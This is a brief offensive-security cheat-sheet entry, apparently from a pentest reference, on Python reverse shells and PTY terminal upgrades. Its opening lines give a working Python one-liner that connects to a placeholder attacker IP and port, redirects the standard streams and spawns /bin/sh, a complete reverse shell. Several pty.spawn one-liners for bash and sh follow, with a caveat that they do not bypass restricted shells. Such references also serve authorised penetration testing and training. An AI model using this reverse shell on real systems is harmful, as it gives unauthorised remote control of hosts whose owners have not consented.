Python: reverse and interactive shells
Python reverse-shell and PTY examples; terminal interactivity does not bypass security restrictions.
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER IP>",<ATTACKER PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'Where Python and a suitable shell are available, pty.spawn can improve terminal
interaction. It does not bypass a restricted shell’s security policy or grant
additional privileges:
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 distinguishes PTY interactivity from a restricted-shell bypass. No shell executed.
Also searched as: python shell, reverse shell python, pty spawn, shell inversé python, shell interactif